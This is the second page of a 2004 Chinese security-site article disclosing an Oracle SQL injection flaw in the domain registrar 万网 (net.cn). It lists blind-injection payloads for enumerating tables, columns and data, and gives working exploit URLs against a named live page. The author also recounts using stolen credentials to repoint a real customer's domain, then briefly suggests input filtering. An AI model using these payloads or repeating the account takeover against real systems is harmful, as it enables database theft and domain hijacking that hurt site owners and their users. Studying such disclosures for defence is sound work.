| 万网的尴尬-万网ORACLE注入漏洞曝光 |
|
| 作者:佚名 来源:安全在线
更新时间:2004-10-28 【字体:小
大】 |
|
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论 .中国的解析,来控制域名指向。 说到这里,我的心思已经不是去弄个会员了。因为这样的危害实在是太大了。想想看,我们得到了用户帐号和密码,登陆进去,就可以轻易更改用户购买的域名的指向,指到我们指定的位置。试想一个恶意的攻击者,把某个商业站点的域名指向指到自己制作的一个假的站点去,那么用户登陆这个商业站点的帐号信息也就等于毫无安全可言了。我们访问在万网注册域名的网站将全部乱套。而对于购买了虚拟主机服务的用户来说,危害就是,攻击者通过万网提供的网站管理系统,可以完全控制网站,这个危害就不用说了。 对于万网来说,其所有的业务都有可能受到影响,数据可以被任意获取篡改,我想没有客户敢这样申请业务吧,呵呵。 比如就用上面的那个拥有很多域名的用户来做个演示。我想让szsxmd.gd.cn这个域名解析到著名的www.xfocus.net安全焦点。首先我PING一下www.xfocus.net得到IP为202.106.127.50。然后,我进入域名解析综合业务,在szsxmd.gd.cn这个域名的解析业务里加一条记录,指定解析IP为202.106.127.50 。如图:
过了几个小时以后,域名解析生效,我们再访问szsxmd.gd.cn时,就会发现,我们来到了安全焦点的页面:)
而在命令行中PING szsxmd.gd.cn时,会发现,地址解析为202.106.127.50:)
其他的一些危害是显而易见的,并且比较大,我就不再做实际的演示了。 数据库可以说是一个站点的重中之重。通过这个注入漏洞,我们完全可以控制数据库中的数据,不光光是用户帐号的信息,所有存在数据库中的数据,我们都可以获取,体力活而已了。在开放PUBLIC组的UTL_FILE权限的情况下,其实还可以用UNION查询读取服务器上的文件,这点和PHP+MYSQL注入中的load_file()有些相似。当然也可以执行UPDATE之类的。只是在ORACLE注入上,我还是个菜鸟,还没能更新插入数据和进行更高级的注入攻击。而且ORACLE的注入只能一位位的去猜,并且没有自动化的工具。我是利用了NBSI的后台扫描功能和WPE来提高了效率。不过我相信,高手是很多的,自动化的工具也很快就会出现。^_^ 这里总结一下一些注入时用到的语句: 0〈〉(select count(*) from all_tables) and ’1’=’1 猜测是否有all_tables系统表,确认注入 0〈〉(select count(*) from user_tab_columns where column_name like ’%25列名关键字%25’) AND ’1’=’1 猜测是否有包含定义关键字的列名 0〈〉(select count(*) from user_tab_columns where column_name like ’%25列名关键字%25’ and substr(table_name,1,1)=’A’) AND ’1’=’1 包含关键列名的表中是否有以A开头的。即开始一位位猜表。 0〈〉(select count(*) from user_tables where table_name like ’%25表名关键字%25’ and length(table_name)=N) and ’1’=’1 猜测包表名含有关键字的表的长度 0〈〉(select count(*) from user_tab_columns where table_name=’表名’ and substr(column_name,1,1)=’A’) AND ’1’=’1 猜测列名 0〈〉(select count(*) from 表名 where 列名1=’XXXXXXXX’ and substr(列名2,1,1)=’a’) AND ’1’=’1 猜测数据 那么,ORACLE注入漏洞的原理是什么呢?这里我就简单的介绍一下。就拿我们注入的这个页面来说。 http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?P ackageID=10341 在ASP程序的源码中的查询语句可能是: select * from TABLE where PACKAGEID =’10341’ 因为作为一个非开源程序的攻击者来说,我们无从知道ASP程序中的源码究竟是什么样子的,只能通过返回的错误信息来判断大概的结构。所以这里我是举个大概的样子。 闲话少说。我们一起来分析。当我们访问这个页面时,ASP程序就根据URL中提交的参数10341去查询了TABLE表中PACKAGEID为10341的数据并且把它返回给我们。从我们测试的情况看,这个参数并没有做过滤就放到了查询语句中,这就给我们的注入提供了条件。当我们提交 http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?P ackageID=10341’and 0<>(select count(*) from all_tables) and ‘1’=’1 时。在ASP程序中的查询语句就变成了这样: select * from TABLE where PACKAGEID =’10341’ and 0<>(select count(*) from all_tables) and ‘1’=’1’ 这样我们就成功的把我们想执行的查询语句插入了ASP程序原来的查询语句中。这里和MSSQL有所不同的是,我们不能用—符号将后面的语句注释掉,后面的and ‘1’=’1就是为了匹配多出来的那个引号,从而使整个查询语句成立,正常返回页面。比如提交 http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?P ackageID=10341’and 0<>(select count(*) from all_tables) and ‘1’=’1’ and ‘x’=’x 整个页面也是正常返回的^_^。 其实要防止这种注入很简单,只要对在URL中提交的参数进行严格的过滤,去除一些比如单引号,SQL关键字等不应该出现的字符,应该来说,攻击者就没有什么机会了。具体的做法可以是检查提交的URL中?号后面的字符串,发现有单引号,分号,SQL关键字等不该出现的字符的,马上就跳转到一个自定义的ERROR页面。个人认为这样是比较好的方法。尤其对于非开源程序的攻击者来说,几乎就是绝路了。 网络安全是多方面的,每个环节都必须要时刻注意。可以用一个链条来做比喻,如果这个链条中任意一个环节出了问题,那么整个链就断了。就像万网的这个漏洞,虽然只是一个很小很小的问题,但是其影响是很大的,可以轻易的改变万网客户域名指向。如果我把很多的域名都指向某个站点,那这个站点就相当于瘫掉了。所以网络上的安全不是某家或者某些人的事情,而是需要我们整体从上到下都去做好,才可以。另外,自从经历了许许多多的蠕虫,病毒的攻击以后,大家普遍对自己服务器的安全关注起来,装FW,IDS,电信也参与进来封了一些端口。有些站点甚至就只开了80口。那么在服务器上运行的代码的安全,就显得格外的重要了。一个小小地方的小小疏忽,就有可能造成全局的崩溃。防御技术在不断进步,攻击手段也在不断翻新。今天有SQL注入,明天又会出现什么呢?时刻关注最新的攻击手段,我想对于一个优秀的管理员是非常重要的。遗憾的是现在有许多程序员在编写代码时还没有一个安全意识,而管理员只是把写好的代码放到服务器上,管好服务器的安全(我们公司也是这样,呵呵),代码的编写漏洞,就成为了一个突破口。我从高中就开始关注安全的问题,现在也在从事这方面的工作。可以说现在的网络比起以前,安全了太多太多,但是技术在进步,今天的安全不代表明天的安全。安全是一个永恒的话题。我个人的感觉是,那些蠕虫,病毒,是加强网管们安全意识的最有力武器,同样我相信,利用代码缺陷的攻击,也会加强程序员们编写代码时的安全意识。^_^ 最后,希望万网解决这个漏洞,对于专家们来说,我想解决这个问题也许只要花不到5分钟。另外,加强一下自己数据库的数据安全,加个密吧。还有,你们的邮件服务器没问题吧?顺便提一下,国内还有很多站点有这样的注入漏洞,比如XX之家,XX部等:) 感谢大家耐心的看完我的陋文。偶水平有限,如果有什么错误,欢迎大家能指正,对于外面的世界来说,偶永远是只菜鸟:)。 上一页 [1] [2]
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力 |
| 文章录入:ls1238 责任编辑:ls1238
|
|
上一篇文章: 再谈%5c暴库的利用
下一篇文章: PHP配置漏洞攻击 |
| 【字体:小
大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】
|